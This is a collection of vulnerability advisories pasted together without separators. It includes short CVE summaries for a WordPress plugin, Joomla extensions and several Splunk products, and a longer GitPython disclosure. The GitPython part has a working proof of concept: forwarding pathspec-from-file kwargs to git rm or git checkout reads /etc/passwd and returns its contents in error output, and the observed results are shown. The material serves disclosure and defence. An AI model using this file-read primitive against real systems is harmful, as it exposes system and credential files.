CVE-2026-74013 is a high severity SQL Injection vulnerability affecting WordPress.com eShipper Commerce versions up to 2.16.13. It involves improper neutralization of special elements in SQL commands, specifically in the subscriber functionality. This vulnerability allows an attacker with low privileges and no user interaction to cause a partial impact on availability and a complete impact on confidentiality. No official patch or remediation information is provided in the available data.
## Summary
`IndexFile.remove()` and `Head.checkout()` forward `**kwargs` into `git rm` and `git checkout`
with no guard. Passing `--pathspec-from-file=<file>` **together with `--pathspec-file-nul`**
makes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec
error quotes it verbatim. GitPython surfaces that through `GitCommandError.stderr`, so the
entire contents of a caller-chosen file are returned to the caller in band.
This is the same primitive as Instance 2 of
[GHSA-3f7w-8rr8-f37f](https://github.com/advisories/GHSA-3f7w-8rr8-f37f) - `TagReference.create()`
with `-F`, arbitrary file read returned in band - at two sites that advisory assessed and
cleared.
## Prior art, and why I am filing rather than commenting
GHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment
*"`--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found"*:
| Call site | git command | that advisory's assessment |
|---|---|---|
| `IndexFile.remove()` | `rm` | `--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found |
| `IndexFile.move()` | `mv` | same |
| `HEAD.reset()` | `reset` | same |
| `HEAD.checkout()` | `checkout` | same |
That assessment is very nearly right, and I think that is why it held: with
`--pathspec-from-file` alone, Git splits on newlines and the error quotes only the **first
line**, which reads as an uninteresting partial. Adding `--pathspec-file-nul` - a sibling flag
of the same option, and the documented way to handle paths containing newlines - makes the
whole file one pathspec.
## Root cause
`git/index/base.py:991-1043`:
```python
def remove(self, items, working_tree=False, **kwargs):
...
removed_paths = self.repo.git.rm(args, paths, **kwargs).splitlines() # line 1043
```
`git/refs/head.py:237-268`:
```python
def checkout(self, force: bool = False, **kwargs: Any):
...
self.repo.git.checkout(self, **kwargs) # line 268
```
Neither has an `allow_unsafe_options` parameter or a `check_unsafe_options()` call.
## Proof of concept
```python
from git import Repo
from git.exc import GitCommandError
repo = Repo("/path/to/repo")
kw = dict(pathspec_from_file="/etc/passwd", pathspec_file_nul=True)
try:
repo.index.remove([], **kw) # or: repo.heads[0].checkout(**kw)
except GitCommandError as e:
print(e.stderr) # <- entire file contents
```
Observed on published 3.1.57, against a canary file holding three marked lines:
```
[PASS] IndexFile.remove() -> `git rm` returns ALL 3 canary lines in-band
stderr: 'fatal: pathspec 'LINE1-CANARY-4242
LINE2-SECRET-7777
LINE3-TAIL-9999
' did not match any files'
[PASS] Head.checkout() -> `git checkout` returns ALL 3 canary lines in-band
stderr: 'error: pathspec 'LINE1-CANARY-4242
LINE2-SECRET-7777
LINE3-TAIL-9999
' did not match any file(s) known to git'
[PASS] PRECISION: `git status` leaks 0/3 -- not every unguarded site discloses
[PASS] PRECISION: the GUARDED checkout-index leaks 0/3
```
The two precision controls are there so the result is about these sinks and not about the
canary being visible everywhere.
## Scope correction to the table above
Of the four sites cleared with that sentence, **two disclose and two do not**:
| Call site | disclosed? |
|---|---|
| `IndexFile.remove()` → `git rm` | **yes, full file** |
| `Head.checkout()` → `git checkout` | **yes, full file** |
| `HEAD.reset()` → `git reset` | no - `git reset` does not error on unmatched pathspecs |
| `IndexFile.move()` → `git mv` | no |
The two negatives are mentioned because "the dismissal was wrong" would overstate it: the
dismissal was wrong for half of what it covered.
A Cross-Site Request Forgery (CSRF) vulnerability exists in the yootheme.com Zoo extension for Joomla versions 1.0.0 through 4.1.64. The issue arises because the comment controller endpoint does not enforce Access Control List (ACL) checks, allowing unauthenticated users to modify tags without authorization. This vulnerability has a medium severity rating with a CVSS score of 6.9.
A stored cross-site scripting (XSS) vulnerability exists in the iCagenda extension for Joomla versions 4.0.8 through 4.0.12. The vulnerability occurs in the frontend 'Submit an Event' form, where the 'image' and 'file' fields are stored as raw strings without proper HTML attribute escaping. This allows authenticated users to inject malicious scripts that could be executed in the context of other users viewing the affected content.
In Splunk Enterprise Security versions below 8.6.1, a user who holds the ess_analyst Splunk Enterprise Security role could change User and Entity Behavior Analytics (UEBA) search macros that scheduled searches run with administrator permissions, allowing for access to all relevant data and system integrity through those searches. The vulnerability is possible because the UEBA app metadata grants analyst roles write access to search macros that should be writable only by administrator roles. For more information see Users and roles for Splunk Enterprise Security (https://help.splunk.com/en/splunk-enterprise-security-8/install/8.4/installation/users-and-roles-for-splunk-enterprise-security) and Roles and knowledge objects in UEBA for Splunk Enterprise Security (https://help.splunk.com/en/splunk-enterprise-security-8/administer/8.5/user-and-entity-behavior-analytics/roles-and-knowledge-objects-in-ueba-for-splunk-enterprise-security) in the Splunk documentation.
In Splunk Enterprise Security versions below 8.6.1, a user who holds a Splunk Enterprise Security role that contains the mc_investigation_read capability could inject Search Processing Language (SPL) through Analyst Queue search filters, allowing for access to all relevant data and system integrity available to the scheduled searches that run for that user. The vulnerability is possible because the Analyst Queue search filter handling does not validate filter field names before the fields are included in SPL searches. For more information see Users and roles for Splunk Enterprise Security (https://help.splunk.com/en/splunk-enterprise-security-8/install/8.4/installation/users-and-roles-for-splunk-enterprise-security), Manage analyst workflows using the analyst queue in Splunk Enterprise Security (https://help.splunk.com/en/splunk-enterprise-security-8/administer/8.4/mission-control/manage-analyst-workflows-using-the-analyst-queue-in-splunk-enterprise-security), and Overview of Mission Control in Splunk Enterprise Security (https://help.splunk.com/en/splunk-enterprise-security-8/user-guide/8.5/mission-control/overview-of-mission-control-in-splunk-enterprise-security) in the Splunk documentation.
In Splunk SOAR versions below 8.6.0, a user who holds the "Automation Engineer" Splunk SOAR role could run arbitrary Structured Query Language (SQL) statements against the Splunk SOAR database through custom list retrieval in a playbook, allowing for create, read, update, and delete operations on all relevant data stored in the Splunk SOAR database. The SQL injection is possible because Splunk SOAR builds the custom list database lookup with the supplied list name instead of a bound SQL value. For more information see Manage roles and permissions in Splunk SOAR (https://help.splunk.com/en/splunk-soar/soar-cloud/administer-soar-cloud/manage-your-splunk-soar-cloud-users-and-accounts/manage-roles-and-permissions-in-splunk-soar-cloud) and Create custom lists for use in Splunk SOAR playbook comparisons (https://help.splunk.com/en/splunk-soar/soar-cloud/build-playbooks/manage-playbooks-and-playbook-settings/create-custom-lists-for-use-in-splunk-soar-cloud-playbook-comparisons) in the Splunk documentation.
In Splunk Enterprise versions below 10.4.2, 10.2.6, 10.0.9, and 9.4.14, a user that holds a role with the schedule_search capability could configure Portable Document Format (PDF) attachments in the email alert action workflow. When the email alert action runs, it could execute arbitrary Search Processing Language (SPL) commands with system-level privileges, expose all relevant data, and affect system integrity and availability on the search head. The vulnerability is possible because the search scheduler passes a system-level authentication context rather than the action owner context to the email alert action when it renders PDF attachments. For more information see alert_actions.conf (https://help.splunk.com/en/splunk-enterprise/administer/admin-manual/10.4/configuration-file-reference/10.4.0-configuration-file-reference/alert_actions.conf) in the Splunk documentation.
In Splunk Enterprise versions below 10.4.2, 10.2.6, 10.0.9, and 9.4.14, an unauthenticated user who has access to a trusted distributed search private key could forge an administrative session token, access all relevant data, affect system integrity, and disrupt service availability. The vulnerability is possible because the distributed search authentication token endpoint does not require a signed request to identify a configured search peer, allowing the request to fall back to shared local key material. For more information see About distributed search (https://help.splunk.com/en/splunk-enterprise/administer/distributed-search/10.4/overview-of-distributed-search/about-distributed-search) and authentication.conf (https://help.splunk.com/en/splunk-enterprise/administer/admin-manual/10.4/configuration-file-reference/10.4.2-configuration-file-reference/authentication.conf) in Splunk documentation.
In Splunk Enterprise versions below 10.4.2, 10.2.6, 10.0.9, and 9.4.14, a user who does not hold the "admin" or "power" Splunk roles could inject Search Processing Language (SPL) into saved-search dispatch requests. This could allow for unauthorized access to all relevant data and affect system integrity within Splunk Enterprise. The vulnerability is possible because Splunk Enterprise does not correctly validate caller-supplied time values before using them in saved-search dispatch. For more information see Search endpoint descriptions (https://help.splunk.com/en/splunk-enterprise/rest-api-reference/10.2/search-endpoints/search-endpoint-descriptions) in the Splunk documentation.
In Splunk Enterprise versions below 10.4.1, 10.2.6, 10.0.9, and 9.4.14, a user who holds the "power" Splunk role could store attacker-controlled Search Processing Language (SPL) in a dashboard. When another authenticated user exports the dashboard as a Portable Document Format (PDF) file, Splunk Enterprise runs the injected SPL using the permissions of that user. The injected SPL could access or modify data available to that user. The vulnerability is possible because Splunk Web does not sufficiently validate dashboard content before processing PDF exports. The vulnerability requires the attacker to phish the affected user by tricking them into initiating a request within their browser. The user who holds the "power" Splunk role should not be able to exploit the vulnerability at will. For more information see Generate PDFs of your reports and dashboards (https://help.splunk.com/en/splunk-enterprise/create-dashboards-and-reports/reporting-manual/9.4/report-management/generate-pdfs-of-your-reports-and-dashboards) in the Splunk documentation.